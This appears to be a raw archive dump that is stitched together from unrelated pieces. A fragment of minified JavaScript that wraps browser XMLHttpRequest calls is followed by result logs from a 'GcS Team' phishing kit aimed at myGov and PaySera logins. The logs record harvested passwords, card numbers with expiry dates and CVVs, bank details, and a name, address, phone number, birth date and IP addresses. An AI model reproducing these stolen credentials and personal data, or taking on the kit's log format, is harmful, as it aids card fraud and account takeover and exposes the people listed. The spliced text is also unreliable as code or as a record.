failure",t.dtProps.ba):V.dT_.mxf(q.dtProps.I.status,q.dtProps.I.statusText,q.dtProps.ba)},onabort:V.dT_.mxc,ontimeout:V.dT_.mxt},x=0,oa=nb;x<oa.length;x++){var R=oa[x];try{if(R in D||Oa&&R in q)V.dT_.bcv("raxeh")?y(R):(Ua(q,R).length||q[R])&&y(R)}catch(O){}}}function za(q,D,t){Object.defineProperty(q,D,{enumerable:!0,get:t})}function ab(q,D){var t=q.timeStamp||V.dT_.nw(),y="undefined"===typeof q.eventPhase?2:q.eventPhase,Y=q.stopPropagation|| gb,x=q.stopImmediatePropagation||gb,oa=q.preventDefault||gb,R=q.initEvent||gb;if(ra())try{var O=document.createEvent("Event");O.initEvent(q.type,q.bubbles||!1,q.cancelable||!1);za(O,"target",function(){return D});za(O,"currentTarget",function(){return D});za(O,"srcElement",function(){return D});za(O,"eventPhase",function(){return y});za(O,"timeStamp",function(){return t});za(O,"stopPropagation",function(){return Y});za(O,"stopImmediatePropagation",function(){return x});za(O,"preventDefault",function(){return oa}); za(O,"initEvent",function(){return R});return O}catch(wa){}return{type:q.type,target:D,currentTarget:D,srcElement:D,eventPhase:y,bubbles:q.bubbles||!1,cancelable:q.cancelable||!1,timeStamp:t,stopPropagation:Y,stopImmediatePropagation:x,preventDefault:oa,initEvent:R}}function ba(q,D){try{var t=V.dT_.gPO(q),y=V.dT_.gPO(q.dtProps.I);y||(y=vb.prototype);return!t||!y||"__dtProto"in t[D]?null:t[D]}catch(Y){return null}}function Z(q){return V.dT_.iIO(q,["dtProps"])}function Aa(q){q.UNSENT=0;q.OPENED=1;q.HEADERS_RECEIVED= 2;q.LOADING=3;q.DONE=4}function na(q){if(ra())"upload"===q?Object.defineProperty(pa.XMLHttpRequest.prototype,"upload",{enumerable:!0,configurable:!0,get:function(){if(!this.dtProps.Kc)return vb.prototype.upload;this.dtProps.upload||(this.dtProps.upload=new I(this));return this.dtProps.upload}}):Object.defineProperty(pa.XMLHttpRequest.prototype,q,{enumerable:!0,configurable:!0,get:function(){return this.dtProps.Kc?0<=V.dT_.aIOf(lb,q)?this.dtProps.I[q]:this.dtProps[q]:vb.prototype[q]},set:function(D){this.dtProps.Kc? this.dtProps[q]=D:vb.prototype[q]=D}});else try{pa.XMLHttpRequest.prototype[q]=void 0}catch(D){}}function ta(q,D){var t=pa.XMLHttpRequest.prototype[q];if(D||V.dT_.iNF(t))pa.XMLHttpRequest.prototype[q]=function(y,Y){function x(){if(Z(this)){"open"!==y||this.dtProps.url||(this.dtProps.url=arguments[1]+"");this.dtProps.I.withCredentials!==this.dtProps.withCredentials&&(this.dtProps.I.withCredentials=this.dtProps.withCredentials);var oa=this.dtProps.I}else oa=this;return Za.XMLHttpRequestCallback(Y,oa, arguments)}x.__dtProto=!0;return x}(q,vb.prototype[q])}function Ma(){vb=pa.XMLHttpRequest;ca=11>V.dT_.gBI().ie;yb=Zb.ct||clearTimeout;if(pa.XMLHttpRequest&&(pa.XMLHttpRequest=Ba,vb.prototype)){Oa=db(vb);if(Object.create){var q=Object,D=q.create,t=vb.prototype;var y=vb.prototype;if(Object.getOwnPropertyDescriptors)y=Object.getOwnPropertyDescriptors(y);else{for(var Y={},x=0,oa=Object.getOwnPropertyNames(y);x<oa.length;x++){var R=oa[x],O=Object.getOwnPropertyDescriptor(y,R);O&&(Y[R]=O)}y=Y}Ba.prototype= D.call(q,t,y)}else Ba.prototype.__proto__=V.dT_.gPO(vb.prototype);Ba.prototype.dtProps={Kc:!1};Ba.prototype.dtProps.Kc=!1;Aa(Ba);Aa(Ba.prototype);for(var wa in vb.prototype)if(-1===V.dT_.aIOf(gc,wa))try{-1!==V.dT_.aIOf(Ab,wa)?ta(wa,!0):-1!==V.dT_.aIOf(jb,wa)?na(wa):pa.XMLHttpRequest.prototype[wa]=vb.prototype[wa]}catch(Wa){na(wa)}for(var Ga in vb)if(!(Ga in vb.prototype))try{pa.XMLHttpRequest[Ga]=vb[Ga]}catch(Wa){}try{Ja()}catch(Wa){}}V.dT_.ael(pa,"unload",fa)}function Ja(){if(!V.dT_.bcv("peti")){if(pa.EventTarget)var q= EventTarget.prototype;q&&q.addEventListener||!pa.XMLHttpRequestEventTarget||(q=V.dT_.gPO(pa.XMLHttpRequestEventTarget.prototype));q&&q.addEventListener||(q=XMLHttpRequest.prototype);if(q&&q.addEventListener){var D=q.addEventListener;q.addEventListener=function(Y,x,oa){if(Z(this))this.dtProps.mf(Y,x,oa);else return Za.AELWrapper(D,this,arguments)};var t=q.removeEventListener;q.removeEventListener=function(Y,x,oa){if(Z(this))this.dtProps.og(Y,x,oa);else return Za.RELWrapper(t,this,arguments)};var y= q.dispatchEvent;q.dispatchEvent=function(Y){return Z(this)?this.dtProps.Zd(Y):Za.dispatchWrapper(y,this,arguments)}}}}function fa(){pa.XMLHttpRequest=vb;vb=null;ca=!1;yb=void 0;Oa=!1}function S(q,D){return new $a(q,D)}function va(q){return"string"===typeof q}function ja(q){q.ne||(V.dT_.lx(q.G,q.url,!0,void 0,"x"),q.ne=!0)}function U(q){var D=q.G,t=q.url;return Zb.aWF(q.Da,q.context,q.Pa,void 0===D?0:D,void 0===t?"":t,"x")}function eb(q,D,t){return function(){for(var y=[],Y=0;Y<arguments.length;Y++)y[Y]= arguments[Y];Y=q.G;var x=q.url;try{if(V.dT_.ec(Y),"function"===typeof D)return U({Da:D,context:t,Pa:y,G:Y,url:x})}finally{V.dT_.lc(Y),ja(q)}}}function L(q,D,t){return{get:function(){return t||q[D]},enumerable:!0}}function C(q,D,t,y){return function(){for(var Y=[],x=0;x<arguments.length;x++)Y[x]=arguments[x];try{V.dT_.ec(q.G);var oa=Y[0],R=document.createEvent("Event");R.initEvent(oa.type,oa.bubbles,oa.cancelable);var O=L(oa,"target",y);Object.defineProperties(R,{target:O,currentTarget:O,srcElement:O, stopPropagation:L(oa,"stopPropagation",function(){for(var wa=[],Ga=0;Ga<arguments.length;Ga++)wa[Ga]=arguments[Ga];Event.prototype.stopPropagation.apply(oa,wa);return Event.prototype.stopPropagation.apply(R,wa)}),stopImmediatePropagation:L(oa,"stopImmediatePropagation",function(){for(var wa=[],Ga=0;Ga<arguments.length;Ga++)wa[Ga]=arguments[Ga];Event.prototype.stopImmediatePropagation.apply(oa,wa);return Event.prototype.stopImmediatePropagation.apply(R,wa)}),preventDefault:L(oa,"preventDefault",function(){for(var wa= [],Ga=0;Ga<arguments.length;Ga++)wa[Ga]=arguments[Ga];Event.prototype.preventDefault.apply(oa,wa);return Event.prototype.preventDefault.apply(R,wa)}),eventPhase:L(oa,"eventPhase","undefined"===typeof oa.eventPhase?2:void 0),timeStamp:L(oa,"timeStamp",oa.timeStamp||V.dT_.nw()),initEvent:L(oa,"initEvent")});Y[0]=R;if("function"===typeof D)return U({Da:D,context:oa.target,Pa:Y,G:q.G,url:q.url})}finally{V.dT_.lc(q.G)}}}function H(q,D,t){return function(){for(var y=[],Y=0;Y<arguments.length;Y++)y[Y]=arguments[Y]; try{if(V.dT_.ec(q.G),t.readyState===t.DONE&&V.dT_.mx()&&200!==t.status&&(0===t.status?V.dT_.st(V.dT_.mxc.bind(null,q.G),0):V.dT_.mxf(t.status,t.statusText,q.G)),"function"===typeof D)return U({Da:D,context:t,Pa:y,G:q.G,url:q.url})}finally{V.dT_.lc(q.G),t.readyState===t.DONE&&ja(q)}}}function Q(q,D){try{if("string"===typeof D&&"function"===typeof q[D]){var t=V.dT_.iNF(q[D]);q[D]=S(q[D],{apply:la.bind(null,D,t),get:function(y,Y,x){return"dT_proxy"===Y?!0:Reflect.get(y,Y,x)}})}}catch(y){}}function ia(q, D){q.filter(ua.bind(null,D)).forEach(Q.bind(null,D))}function W(q,D,t,y,Y){q.G||(q.G=V.dT_.ex("x",void 0,q.url,!1,D));var x=V.dT_.sch({headers:{}},q.url,q.G);Reflect.ownKeys(x.headers).filter(va).forEach(function(oa){t.setRequestHeader(oa,x.headers[oa])});try{return U({Da:D,context:y,Pa:Y,G:q.G,url:q.url})}finally{q.async||ja(q)}}function la(q,D,t,y,Y){if(!V.dT_.iIO(y,22))return U({Da:t,context:y,Pa:Y});var x=y.dtProps,oa=y;x&&(D||Cb)&&(oa=x.target);if(!x)return U({Da:t,context:oa,Pa:Y});switch(D? t.name:q){case "addEventListener":"function"===typeof Y[1]&&(q=Y[1],q.dT_cb?Y[1]=q.dT_cb:(Y[1]=C(x,q,oa,y),q.dT_cb=Y[1]));break;case "removeEventListener":y=Y[1];if(null===y||void 0===y?0:y.dT_cb)Y[1]=y.dT_cb;break;case "open":return x.G=0,x.ne=!1,x.url=Y[1],x.async=!0===Y[2]||void 0===Y[2],U({Da:t,context:oa,Pa:Y});case "send":return W(x,t,y,oa,Y);case "abort":ja(x)}return U({Da:t,context:oa,Pa:Y,G:x.G,url:x.url})}function ua(q,D){try{var t=q[D];if("function"!==typeof t||t.dT_proxy)return!1}catch(y){return!1}return!0} function Ka(q){return"constructor"!==q}function Hb(q,D,t){"upload"===D&&V.dT_.mx()&&!t.Tf&&(q.upload.addEventListener("error",function(){V.dT_.mxg("Upload failure",t.G)}),t.Tf=!0);return t.Mc.has(D)?t.Mc.get(D):Reflect.get(q,D)}function ib(q,D,t){try{EventTarget.prototype.addEventListener.call(q,D,t)}catch(y){q.addEventListener(D,t)}}function aa(q){var D={G:0,async:!0,ne:!1,url:"",target:q,xj:!1,Tf:!1,Mc:new Map,toString:function(){return"[Custom DTProperty Object]"},toJSON:function(){return"[Custom DTProperty Object]"}}; q.dtProps=D;ib(q,"readystatechange",H(D,function(){},q));V.dT_.mx()&&(ib(q,"error",function(){return V.dT_.mxf(q.status,q.statusText,D.G)}),ib(q,"abort",function(){return V.dT_.mxc(D.G)}),ib(q,"timeout",function(){return V.dT_.mxt(D.G)}));return S(q,{get:function(t,y){return Hb(t,y,D)},set:function(t,y,Y,x){try{var oa=Y;switch(y){case "onabort":case "onerror":case "ontimeout":oa=eb(D,Y,t);D.Mc.set(y,Y);break;case "onloadstart":case "onprogress":case "onload":case "onloadend":oa=C(D,Y,t,x);D.Mc.set(y, Y);break;case "onreadystatechange":oa=H(D,Y,t),D.Mc.set(y,Y)}var R=Reflect.set(t,y,oa)}catch(O){R=!1}return R}})}function qa(){Cb=db(pa.XMLHttpRequest);$a=pa.Proxy;var q=pa.XMLHttpRequest.prototype,D=EventTarget.prototype,t=Reflect.ownKeys(q).filter(va).filter(Ka),y=Reflect.ownKeys(D).filter(va).filter(Ka);pa.XMLHttpRequest=S(pa.XMLHttpRequest,{construct:function(Y,x){ia(t,q);ia(y,D);return aa(Reflect.construct(Y,x))}});ia(t,q);q.constructor=pa.XMLHttpRequest;ia(y,D)}var V="undefined"!==typeof window? window:self,pa="undefined"!==typeof window?window:self,Va="cancelBubble defaultPrevented eventPhase isTrusted lengthComputable loaded position returnValue timeStamp total totalSize type".split(" "),nb="onabort onerror onload onloadend onloadstart onprogress ontimeout".split(" "),lb="responseText response status statusText responseBody responseStream responseURL responseXML responseType".split(" "),jb=La(La(La([],lb,!0),nb,!0),["onreadystatechange","upload","readyState"],!1),Ab="open send getAllResponseHeaders getResponseHeader setRequestHeader overrideMimeType abort sendAsBinary".split(" "), gc=["addEventListener","removeEventListener","dispatchEvent"],Vb=La(La(La([],Ab,!0),jb,!0),gc,!0),Ha,yb,vb,ca,Oa=!1,Za=(Ha={},Ha.handleEventCallback=function(q,D,t){return Zb.aWF(q,D,t)},Ha.callOpen=function(q,D,t){return Zb.aWF(q,D,t)},Ha.send=function(q,D,t){return Zb.aWF(q,D,t)},Ha.getAllResponseHeaders=function(q,D,t){return Zb.aWF(q,D,t)},Ha.getResponseHeader=function(q,D,t){return Zb.aWF(q,D,t)},Ha.setRequestHeader=function(q,D,t){return Zb.aWF(q,D,t)},Ha.overrideMimeType=function(q,D,t){return Zb.aWF(q, D,t)},Ha.RELWrapper=function(q,D,t){return Zb.aWF(q,D,t)},Ha.AELWrapper=function(q,D,t){return Zb.aWF(q,D,t)},Ha.dispatchWrapper=function(q,D,t){return Zb.aWF(q,D,t)},Ha.onreadystatechangeCallback=function(q,D,t){return Zb.aWF(q,D,t)},Ha.dispatchXHRCallback=function(q,D,t){return Zb.aWF(q,D,t)},Ha.XMLHttpRequestCallback=function(q,D,t){return Zb.aWF(q,D,t)},Ha.preventDefault=function(q,D,t){return Zb.aWF(q,D,t)},Ha.stopImmediatePropagation=function(q,D,t){return Zb.aWF(q,D,t)},Ha),I=function(){function q(D){var t= this;if(t.constructor){var y=q;ra()&&Object.defineProperty(t,"constructor",{get:function(){return y},set:function(oa){y=oa}})}t.dtProps={Ea:[],ig:D.dtProps.I.upload,jg:D,jd:!1};var Y=t.dtProps;D=0;for(var x=nb;D<x.length;D++)(function(oa){Object.defineProperty(t,oa,{enumerable:!0,get:function(){return Y[oa]},set:function(R){Y[oa]=R;Y.jd||(Y.jd=!0,Pa(t,Y.ig,Y.jg))}})})(x[D]);t.addEventListener=function(oa,R,O){if(R){for(var wa=Y.Ea,Ga=0;Ga<wa.length;Ga++){var Wa=wa[Ga];if(Wa[0]===oa&&Wa[1]===R&&Wa[2]=== O)return}wa.push([oa,R,!!O]);Y.jd||(Y.jd=!0,Pa(t,Y.ig,Y.jg))}};t.removeEventListener=function(oa,R,O){for(var wa,Ga=Y.Ea,Wa=0;Wa<Ga.length;Wa++)if(wa=Ga[Wa],wa[0]===oa&&wa[1]===R&&wa[2]===O){Ga.splice(Wa,1);break}};t.dispatchEvent=function(oa){var R=Y.Ea,O=!1,wa=!1;if(oa.cancelable&&oa.preventDefault){var Ga=oa.preventDefault;oa.preventDefault=function(){O=!0;return Za.preventDefault(Ga,this,arguments)}}if(oa.stopImmediatePropagation){var Wa=oa.stopImmediatePropagation;oa.stopImmediatePropagation= function(){wa=!0;return Za.stopImmediatePropagation(Wa,this,arguments)}}for(var Eb=0;Eb<R.length;Eb++){var Lb=R[Eb];wa||Lb[0]!==oa.type||Lb[2]||("object"===typeof Lb[1]&&Lb[1].handleEvent?Za.dispatchXHRCallback(Lb[1].handleEvent,Lb[1],[oa]):Za.dispatchXHRCallback(Lb[1],t,[oa]))}return!O}}q.prototype.toString=function(){return"[XMLHttpRequestUpload]"};return q}(),ka={readyState:0,response:"",responseText:"",responseType:"",responseURL:"",status:0,statusText:"",timeout:0,withCredentials:!1},Ba=function(){function q(D){function t(R){if(-1=== V.dT_.aIOf(lb,R)&&(!V.dT_.oHOP(x.I,R)||V.dT_.oHOP(y,R)))return Oa&&-1!==V.dT_.aIOf(Ab,R)&&ta(R,!1),"continue";if(ra())if("upload"===R)Object.defineProperty(y,"upload",{enumerable:!0,get:function(){x.upload||(x.upload=new I(y));return x.upload}});else{try{x[R]=x.I[R]}catch(wa){}Object.defineProperty(y,R,{enumerable:!0,get:function(){return 0<=V.dT_.aIOf(lb,R)?x.I[R]:"undefined"===typeof x[R]?ka[R]:x[R]},set:function(wa){x[R]=wa}})}else try{y[R]=x.I[R]}catch(wa){var O=ka[R];y[R]="undefined"!==typeof O? O:null}}var y=this;if(y.constructor){var Y=q;ra()&&Object.defineProperty(y,"constructor",{get:function(){return Y},set:function(R){Y=R}})}y.dtProps={Kc:!0,ba:0,Ea:[],url:"",aborted:!1,za:0,async:void 0,Ib:void 0,I:arguments.length?new vb(D):new vb,uc:!1,hc:-1,Gb:-1,Be:[],sb:null,ke:!1,Ab:function(){y.readyState=x.I.readyState;if(y.readyState!==x.hc||100<V.dT_.nw()-x.Gb){for(var R=0,O=x.Be;R<O.length;R++)yb(O[R]);x.Be=[];Ea(y);4===y.readyState&&x.Xd();x.mg();x.Gb=V.dT_.nw()}else x.Be.push(V.dT_.st(x.Ab, 100));x.hc=y.readyState},yf:function(R,O){x.I.onreadystatechange!==x.Ab&&(x.I.onreadystatechange=x.Ab);x.ba=y.__dtFrameworks__?0:V.dT_.ex("x",void 0,x.url,void 0,y,!1,Oa);try{x.async&&(x.I.timeout=y.timeout)}catch(Lb){}try{x.async&&(x.I.responseType=y.responseType)}catch(Lb){}x.Ah();var wa={};wa=V.dT_.sch(wa,x.url,x.ba);for(var Ga in wa.headers)V.dT_.oHOP(wa.headers,Ga)&&x.I.setRequestHeader(Ga,wa.headers[Ga]);x.I.withCredentials!==y.withCredentials&&(x.I.withCredentials=y.withCredentials);wa=!0; ca&&!x.uc&&x.mg();try{if(O&&x.I.sendAsBinary)var Wa=x.I.sendAsBinary.apply(x.I,R);else{var Eb=ba(y,"send");Wa=Eb?Za.send(Eb,y,R):x.I.send.apply(x.I,R)}wa=!1}finally{Ea(y),wa&&V.dT_.lx(x.ba,void 0,void 0,void 0,"x")}!x.async&&y.readyState&&x.ba&&V.dT_.lx(x.ba,void 0,void 0,void 0,"x");return Wa},Ah:function(){x.Ib&&(yb(x.Ib),x.Ib=void 0);x.ke||(Pa(y,x.I),x.ke=!0)},Xd:function(){x.I.onreadystatechange=null;x.Mh();x.Oh()},Lh:function(){x.sb||(x.sb=function(){x.sb&&(x.sb=null,x.Xd(),y.abort())},V.dT_.ael(pa, "unload",x.sb))},Oh:function(){x.sb&&(V.dT_.rel(pa,"unload",x.sb),x.sb=null)},Mh:function(){x.Ib||(x.Ib=V.dT_.st(x.Nh,0))},Nh:function(){if(x.Ib){x.Ib=void 0;x.ke=!1;for(var R=x.I,O=0,wa=nb;O<wa.length;O++){var Ga=wa[O];try{Ga in R&&(R[Ga]=null)}catch(Wa){}}}},mf:function(R,O,wa){void 0===wa&&(wa=!1);for(var Ga=0,Wa=x.Ea;Ga<Wa.length;Ga++){var Eb=Wa[Ga];if(Eb[0]===R&&Eb[1]===O&&Eb[2]===wa)return}x.Ea.push([R,O,wa])},og:function(R,O,wa){void 0===wa&&(wa=!1);for(var Ga,Wa=0;Wa<x.Ea.length;Wa++)if(Ga= x.Ea[Wa],Ga[0]===R&&Ga[1]===O&&Ga[2]===wa){x.Ea.splice(Wa,1);break}},Zd:function(R){var O=!1,wa=!1;if(R.cancelable&&R.preventDefault){var Ga=R.preventDefault;R.preventDefault=function(){O=!0;return Za.preventDefault(Ga,this,arguments)}}if(R.stopImmediatePropagation){var Wa=R.stopImmediatePropagation;R.stopImmediatePropagation=function(){wa=!0;return Za.stopImmediatePropagation(Wa,this,arguments)}}R=ab(R,y);"readystatechange"!==R.type||ca&&x.uc&&1===y.readyState||("undefined"!==typeof x.onreadystatechange? x.onreadystatechange&&(x.uc=!0,Za.onreadystatechangeCallback(x.onreadystatechange,y,[R])):!ra()&&y.onreadystatechange&&(x.uc=!0,Za.onreadystatechangeCallback(y.onreadystatechange,y,[R])));for(var Eb=0,Lb=x.Ea;Eb<Lb.length;Eb++){var Nb=Lb[Eb];wa||Nb[0]!==R.type||Nb[2]||("object"===typeof Nb[1]&&Nb[1].handleEvent?Za.dispatchXHRCallback(Nb[1].handleEvent,Nb[1],[R]):Za.dispatchXHRCallback(Nb[1],y,[R]))}return!O},mg:function(){var R=x.ba;try{V.dT_.ec(R,y.readyState),x.za++,x.Zd({type:"readystatechange", bubbles:!1,cancelable:!1,timeStamp:V.dT_.nw()})}finally{if(x.za--,V.dT_.lc(R),4===y.readyState&&R){var O=0,wa="Aborted";try{O=y.status,wa=y.statusText}catch(Ga){}200!==O&&V.dT_.mx()&&(0===O?V.dT_.st(function(){V.dT_.mxc(R)},0):V.dT_.mxf(O,wa,R));V.dT_.lx(R,x.url,!0,void 0,"x");x.ba=0}}},toString:function(){return"[Custom DTProperty Object]"},toJSON:function(){return"[Custom DTProperty Object]"}};var x=y.dtProps;y.readyState=0;Aa(y);try{Object.defineProperty(x,"responseType",{get:function(){return x.I.responseType}, set:function(R){x.I.responseType=R}})}catch(R){}for(var oa in x.I)t(oa);x.Gb=V.dT_.nw();Ea(y);y.onreadystatechange=null;"withCredentials"in x.I&&(y.withCredentials=x.I.withCredentials);y.timeout=0;"sendAsBinary"in x.I&&(y.sendAsBinary=function(){return x.yf(arguments,!0)});x.I.overrideMimeType&&(y.overrideMimeType=function(R){var O=ba(y,"overrideMimeType");return O?Za.overrideMimeType(O,y,arguments):x.I.overrideMimeType(R)});V.dT_.bcv("peti")&&x.I.addEventListener&&(y.addEventListener=function(R, O,wa){var Ga=ba(y,"addEventListener");x.mf(R,O,wa);Ga?V.dT_.iNF(Ga)||Za.AELWrapper(Ga,x.I,arguments):V.dT_.iNF(x.I.addEventListener)||x.I.addEventListener(R,O,wa)},y.removeEventListener=function(R,O,wa){var Ga=ba(y,"removeEventListener");x.og(R,O,wa);Ga?V.dT_.iNF(Ga)||Za.RELWrapper(Ga,x.I,arguments):V.dT_.iNF(x.I.removeEventListener)||x.I.removeEventListener(R,O,wa)},y.dispatchEvent=function(R){var O=ba(y,"dispatchEvent");if(O){if(!V.dT_.iNF(O))return Za.dispatchWrapper(O,x.I,arguments)}else if(!V.dT_.iNF(x.I.dispatchEvent))return x.I.dispatchEvent(R); return x.Zd(R)});y.open=function(R,O,wa,Ga,Wa){function Eb(Nb,ac,rc){"apply"in Nb?Za.callOpen(Nb,rc,ac):4<ac.length?Nb(R,O,wa,Ga,Wa):3<ac.length?Nb(R,O,wa,Ga):Nb(R,O,wa)}x.aborted=!1;3>arguments.length&&(wa=!0);x.async=wa;ca&&wa&&x.Lh();x.I.onreadystatechange=x.Ab;x.url=""+O;var Lb=ba(y,"open");Lb?Eb(Lb,arguments,y):Eb(x.I.open,arguments,x.I);y.readyState=x.I.readyState};y.send=function(){return x.yf(arguments,!1)};y.abort=function(){for(var R=[],O=0;O<arguments.length;O++)R[O]=arguments[O];0<y.readyState&& (x.aborted=!0);(O=ba(y,"abort"))?O.apply(y,R):x.I.abort();x.Xd();if(x.ba){for(;0<x.za;)x.za--,V.dT_.lc(x.ba);V.dT_.lx(x.ba,void 0,void 0,void 0,"x");x.ba=0}};y.getAllResponseHeaders=function(){var R=ba(y,"getAllResponseHeaders");return R?Za.getAllResponseHeaders(R,y,arguments):x.I.getAllResponseHeaders()};y.getResponseHeader=function(R){var O=ba(y,"getResponseHeader");return O?Za.getResponseHeader(O,y,arguments):x.I.getResponseHeader(R)};y.setRequestHeader=function(R,O){var wa=R&&R.toLowerCase?R.toLowerCase(): R;if("x-dtpc"!==wa&&"x-dtreferer"!==wa&&"x-host"!==wa&&"x-dtc"!==wa)return(wa=ba(y,"setRequestHeader"))?Za.setRequestHeader(wa,y,arguments):x.I.setRequestHeader(R,O)};y.toString=function(){return"[XMLHttpRequest]"};y.toJSON=function(){return x.I};if(pa.Proxy&&V.dT_.bcv("exp"))return y=new Proxy(y,{set:function(R,O,wa){R[O]=wa;try{-1===V.dT_.aIOf(Vb,O)&&(R.dtProps.I[O]=wa)}catch(Ga){}return!0}})}return q}(),$a,Cb=!1,bd,Qb;if((Ha=pa.dT_)&&"ea"in Ha&&(null===(Qb=(bd=V.dT_).smbi)||void 0===Qb?0:Qb.call(bd, "x"))){var Zb=Ha;"object"===typeof pa.Reflect&&"function"===typeof pa.Proxy&&V.dT_.bcv("expw")&&!V.dT_.gBI().edge?qa():Ma()}})()})(); mygov/app/rez/Mygov.txt000064400000003400151676702570011144 0ustar00::1 - 2022-10-05 @ 21:24:04 [GcS Team🇩🇿][+]━━━━【🇦🇺 Mygov Logs 🇦🇺】━━━━[+][GcS Team🇩🇿] |Email or Phone : ZD654123 |Password : qsdsdq [+]━━━━【💻 System INFO】━━━━[+] ::1 Country : City: Region : State: Zip : country code: lat: lon: timezone: isp: as: UserAgent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36 [GcS Team🇩🇿][+]━━━━【🇦🇺 Mygov Logs 🇦🇺】━━━━[+][GcS Team🇩🇿] ::1 - 2022-10-05 @ 21:52:17 [GcS Team🇩🇿][+]━━━━【🇦🇺 Mygov Logs 🇦🇺】━━━━[+][GcS Team🇩🇿] |Email or Phone : t.me-amandz741@gmail.com |Password : Passwordtest123 [+]━━━━【💻 System INFO】━━━━[+] ::1 Country : City: Region : State: Zip : country code: lat: lon: timezone: isp: as: UserAgent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36 [GcS Team🇩🇿][+]━━━━【🇦🇺 Mygov Logs 🇦🇺】━━━━[+][GcS Team🇩🇿] 105.72.213.126 - 2025-9-13 @ 00:30:02 [GcS Team🇩🇿][+]━━━━【🇦🇺 Mygov Logs 🇦🇺】━━━━[+][GcS Team🇩🇿] |Email or Phone : jhhjh@aol.com |Password : hghggfh [+]━━━━【💻 System INFO】━━━━[+] 105.72.213.126 Country : City: Region : State: Zip : country code: lat: lon: timezone: isp: as: UserAgent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 [GcS Team🇩🇿][+]━━━━【🇦🇺 Mygov Logs 🇦🇺】━━━━[+][GcS Team🇩🇿] mygov/app/rez/Mygov_Rzlt.txt000064400000023502151676702570012164 0ustar00::1 - 2022-10-05 @ 21:01:05 [GcS Team🇩🇿][+]━━━━【 PaySera Logs 】━━━━[+][GcS Team🇩🇿] [+]━━━━【🔑 Account Login 】━━━━[+] |Email or Phone : |Password : [+]━━━━【💳 CC INFO】━━━━[+] |Card holder : |[💳 CC Number] : |[🔄 Expiry Date ] : |[🔑 (CVV)] : |Phone : [+]━━━━【🏦 Bank INFO】━━━━[+] |Bank Name : |Card Type : |Card Brand : |Card Country : |Bank Scheme : [+]━━━━【💻 System INFO】━━━━[+] ::1 Country : City: Region : State: Zip : country code: lat: lon: timezone: isp: as: UserAgent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36 [GcS Team🇩🇿][+]━━━━【 PaySera Logs 】━━━━[+][GcS Team🇩🇿] ::1 - 2022-10-05 @ 21:25:31 [GcS Team🇩🇿][+]━━━━【 PaySera Logs 】━━━━[+][GcS Team🇩🇿] [+]━━━━【🔑 Account Login 】━━━━[+] |Email or Phone : ZD654123 |Password : qsdsdq [+]━━━━【💳 CC INFO】━━━━[+] |Card holder : John Doe |[💳 CC Number] : 4156 4987 0231 5645 |[🔄 Expiry Date ] : 02/25 |[🔑 (CVV)] : 654 |Phone : [+]━━━━【🏦 Bank INFO】━━━━[+] |Bank Name : CARD SERVICES FOR CREDIT UNIONS, INC. |Card Type : CREDIT |Card Brand : TRADITIONAL |Card Country : United States of America |Bank Scheme : VISA [+]━━━━【💻 System INFO】━━━━[+] ::1 Country : City: Region : State: Zip : country code: lat: lon: timezone: isp: as: UserAgent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36 [GcS Team🇩🇿][+]━━━━【 PaySera Logs 】━━━━[+][GcS Team🇩🇿] ::1 - 2022-10-05 @ 21:26:37 [GcS Team🇩🇿][+]━━━━【 PaySera Logs 】━━━━[+][GcS Team🇩🇿] [+]━━━━【🔑 Account Login 】━━━━[+] |Email or Phone : ZD654123 |Password : qsdsdq [+]━━━━【💳 CC INFO】━━━━[+] |Card holder : |[💳 CC Number] : |[🔄 Expiry Date ] : |[🔑 (CVV)] : [+]━━━━【🏦 Bank INFO】━━━━[+] |Bank Name : |Card Type : |Card Brand : |Card Country : |Bank Scheme : [+]━━━━【💻 System INFO】━━━━[+] ::1 Country : City: Region : State: Zip : country code: lat: lon: timezone: isp: as: UserAgent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36 [GcS Team🇩🇿][+]━━━━【 PaySera Logs 】━━━━[+][GcS Team🇩🇿] ::1 - 2022-10-05 @ 21:27:57 [GcS Team🇩🇿][+]━━━━【 PaySera Logs 】━━━━[+][GcS Team🇩🇿] [+]━━━━【🔑 Account Login 】━━━━[+] |Email or Phone : ZD654123 |Password : qsdsdq [+]━━━━【💳 CC INFO】━━━━[+] |Card holder : |[💳 CC Number] : |[🔄 Expiry Date ] : |[🔑 (CVV)] : [+]━━━━【🏦 Bank INFO】━━━━[+] |Bank Name : |Card Type : |Card Brand : |Card Country : |Bank Scheme : [+]━━━━【[📓] Billing INFO】━━━━[+] |First name : John |Last name : Doe |Address 1 [📓] : La nouvelle gare |Address 2 [📓] : Rue BITAM OMAR n1 |City 🌃 : Ain touta |State 🌃 : Batna |Zip code 🌃 : 05002 |Phone number 📞 : +213774472129 |Date of birthday 🎂 : 08/12/1990 [+]━━━━【💻 System INFO】━━━━[+] ::1 Country : City: Region : State: Zip : country code: lat: lon: timezone: isp: as: UserAgent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36 [GcS Team🇩🇿][+]━━━━【 PaySera Logs 】━━━━[+][GcS Team🇩🇿] ::1 - 2022-10-05 @ 21:29:19 [GcS Team🇩🇿][+]━━━━【 PaySera Logs 】━━━━[+][GcS Team🇩🇿] [+]━━━━【🔑 Account Login 】━━━━[+] |Email or Phone : ZD654123 |Password : qsdsdq [+]━━━━【💳 CC INFO】━━━━[+] |Card holder : John Zebi |[💳 CC Number] : 4987 1023 1654 5643 |[🔄 Expiry Date ] : 02/25 |[🔑 (CVV)] : 546 [+]━━━━【🏦 Bank INFO】━━━━[+] |Bank Name : |Card Type : DEBIT |Card Brand : |Card Country : United Kingdom of Great Britain and Northern Ireland |Bank Scheme : VISA [+]━━━━【💻 System INFO】━━━━[+] ::1 Country : City: Region : State: Zip : country code: lat: lon: timezone: isp: as: UserAgent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) 